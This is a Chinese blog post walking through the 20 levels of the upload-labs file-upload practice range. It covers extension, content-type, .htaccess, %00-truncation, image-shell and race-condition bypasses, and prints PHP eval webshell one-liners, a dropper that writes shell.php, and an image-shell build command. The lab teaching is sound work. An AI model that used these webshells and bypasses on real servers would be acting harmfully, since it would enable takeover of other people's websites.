upload-labs靶场通关记录-20关

admin 2024年11月7日13:21:41评论3 views字数 3390阅读11分18秒阅读模式

# 点击蓝字,关注我们;设为星标,永不迷路#

upload-labs靶场通关记录-20关

侠客日常(一):练练秘籍

少侠勿慌,先练练秘籍。
文件上传漏洞通常由于代码中文件上传功能对所上传的文件过滤不严或web服务器相关解析漏洞未修复而造成的,如果文件上传功能的相关代码没有严格限制和验证用户上传的文件后缀、类型等,攻击者可通过文件上传点上传任意文件,包括网站后门文件(webshell)控制整个网站。

upload-labs靶场通关记录-20关

侠客日常(二):修炼秘笈

    uploads-labs项目地址:https://github.com/c0ny/upload-labs

需要开启的php模块及版本:

upload-labs靶场通关记录-20关

    webshell工具:菜刀、蚁剑、冰蝎等;
    一句话木马:<?php  @eval($_POST[cmd]);?> 
    小马:所有操作命令,需要作为参数传过来执行;
    大马:大马就是一个网页脚本,实现了各种功能操作,例如上传、下载、连接数据库、执行系统命令等;
upload-labs靶场通关记录-20关

侠客日常(三):牛刀小试

【牛刀小试第一关】 前台JS证审计+绕过

burp 截断response修改内容,或在火狐  firefox、谷歌浏览器 chrome中修改js代码或禁用事件

upload-labs靶场通关记录-20关

【牛刀小试第二关】 content-type绕过

https://tool.oschina.net/commons/    对照表

upload-labs靶场通关记录-20关

【牛刀小试第三关】 phtml绕过

        每个语言的可尝试绕过后缀,利用默认解析,这里是黑名单过滤:
        ASP: asa、cer、cdx
        ASPX:ashx、asmx、ascx
        PHP:php4、php5、phtml
        JSP:jspx、jspf

        apache 配置文件一般默认开启,则会解析phtml

upload-labs靶场通关记录-20关

upload-labs靶场通关记录-20关

【牛刀小试第四关】 覆盖 .htacess绕过

.htaccess是什么?

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件解析扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.htaccess文件内容:

    <FilesMatch "phpinfo.jpg">

    SetHandler application/x-httpd-php

    </FilesMatch>

    -------

    <FilesMatch ".(gif|jpe?g|png)$">

上传时使用burp修改htaccess为.htaccess

phpinfo.jpg的内容为:<?php phpinfo(); ?>

相当于httpd.conf中的全局配置,只不过.htaccess是针对某个目录

upload-labs靶场通关记录-20关

防御思路:上传时对文件重命名,xxxx.htaccess,apache不读取解析

【牛刀小试第五关】大小写绕过

    代码审计,分析上传处理逻辑
    less5:后缀名大小写尝试。xxx.PHp   xxxpHP  xxx.pHp   或其他后缀如phtml大小写尝试
    这里采用的是黑名单机制,黑名单机制不如白名单机制精准

【牛刀小试第六关】后缀加空格绕过

黑名单机制匹配:后缀+空格,则逃过黑名单,代码中没有trim

写入硬盘时,windows下空格自动消失,刚好文件是正确的php文件格式及后缀

upload-labs靶场通关记录-20关

【牛刀小试第七关】后缀加点绕过

upload-labs靶场通关记录-20关

【牛刀小试第八关】后缀加::$DATA绕过

 ::$DATA

upload-labs靶场通关记录-20关

【牛刀小试第九关】后缀.空格.绕过   

    一定得代码审计  

    纯黑盒测试就是不断尝试
    在图片中写木马,通过include.php?file包含

【牛刀小试第十关】双写绕过

    注意双写时的位置,确保替换之后留下的是正确的后缀

upload-labs靶场通关记录-20关

【牛刀小试第十一关】GET %00截断绕过  

php5.2.17
%00截断原理:在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
%00截断的利用:00截断一般是两个点:1.路径path可控 2.gpc为off。一般是会把上传的文件从临时路径移动到目标路径path,理论上path构造类似 uploads/test.php%00.jpg 的话,直接就写进test.php了。
修改上传路径,先上传jpg后缀的图片,查看是否路径可控

upload-labs靶场通关记录-20关

修改路径,添加%00阶段%00后面的内容

upload-labs靶场通关记录-20关

%00 urldecoder解码就是00

upload-labs靶场通关记录-20关

【牛刀小试第十二关】POST %00截断绕过

upload-labs靶场通关记录-20关

添加一个+号   hex编码就是2b 从hex视图中找到2b,手动替换成00

upload-labs靶场通关记录-20关upload-labs靶场通关记录-20关

【牛刀小试第十三关】图片木马绕过

GIF (gif) "GIF 89A",文件头:47494638

gif木马

upload-labs靶场通关记录-20关

利用文件包含漏洞执行图片木马

http://upload.cn/include.php?file=upload/4920200515161041.gif

upload-labs靶场通关记录-20关

通过两个文件组合生成图片马:
copy shell.jpg /b + phpinfo.php /a rs.jpg 
注意选取合适的图片,体积、尺寸都需要注意,不然出现特殊字符,include时会报php语法错误。

【牛刀小试第十四关】图片码绕过  另类审计

直接使用13关的图片马即可。审计代码,分析php判断语法。

【牛刀小试第十五关】exif_imagetype绕过

审计代码,分析判断方式

需要开启 php_exif模块开关,php版本设为5.5.38,

upload-labs靶场通关记录-20关

【牛刀小试第十六关】图像二次渲染绕过

    比较上传前原始文件和上传后二次渲染文件的内容异同,在没有变动的地方,在修改后的文件加入代码,再次上传。
   使用winhex工具,在服务器处理后的gif图片中加入代码。
   黑色部分是变化的,白色部分是没有变化的,比较上传前后的文件,在原始文件的白色部分加入一句话木马

upload-labs靶场通关记录-20关upload-labs靶场通关记录-20关

上传后需要通过文件包含漏洞执行木马。

【牛刀小试第十七关】条件竞争绕过

服务端检测绕过:条件竞争攻击

件竞争:服务端先是允许用户上传任意类型的文件,上传过后再去检查文件,如果文件存在恶意的内容,那么才会执行删除操作。那么就可以利用这个时间差来完成攻击,不断访问上传的木马,使上传的木马生成另一个木马,这样服务器删除掉原木马之后,新产生的木马依然存在,访问新产生的木马来操纵服务器。

设置10秒休眠时间,模拟服务器从判断到最终删除的时间差。

upload-labs靶场通关记录-20关

然后上传一个木马文件:
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
此木马文件一旦被访问到将生成真正的木马文件。
burp拦截,不停的向服务器发送,另外再不断的访问这个文件,打个时间差,就能访问到,最终产生真正的木马文件。

upload-labs靶场通关记录-20关upload-labs靶场通关记录-20关upload-labs靶场通关记录-20关upload-labs靶场通关记录-20关

upload-labs靶场通关记录-20关

【牛刀小试第十八关】条件竞争+解析漏洞  代码审计

upload-labs靶场通关记录-20关

不断上传后缀为7z的php文件,后缀为1.php.7z,服务器移动文件并且修改文件名时,有时间差,上传的同时,和3.17一样,再不断访问.php.7z文件,利用解析漏洞访问.php.7z文件,运行之后,释放shell.php,apache有解析漏洞,会当做php解析。

3.19 00截断漏洞绕过  代码审计

upload-labs靶场通关记录-20关

源文件后缀改为jpg,绕过后缀过滤,而保存的文件名加00截断,则保存成php文件。

【牛刀小试第十九关】数组配合windows特性绕过  

绕过上传后缀为jpg的图片也行,但要利用文件包含漏洞才能解析

upload-labs靶场通关记录-20关

【牛刀小试第二十关】直接使服务器写后缀为php的文件  

   利用数组长度和下标不一致的特性,以及windows后缀特性

upload-labs靶场通关记录-20关

upload-labs靶场通关记录-20关

upload-labs靶场通关记录-20关
upload-labs靶场通关记录-20关

习得神功,挑战群雄!

upload-labs靶场通关记录-20关
upload-labs靶场通关记录-20关
知道了原理,也经过了实验,想必各位侠客们早已创出了不少独家绝学,迫不及待要一展身手了,扫描下方二维码,进隐侠江湖,煮酒论剑。
隐侠安全实验室欢迎各位前来交流!

upload-labs靶场通关记录-20关

upload-labs靶场通关记录-20关

原文始发于微信公众号(东方隐侠安全实验室):upload-labs靶场通关记录-20关

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月7日13:21:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   upload-labs靶场通关记录-20关http://cn-sec.com/archives/1819064.html

发表评论

匿名网友 填写信息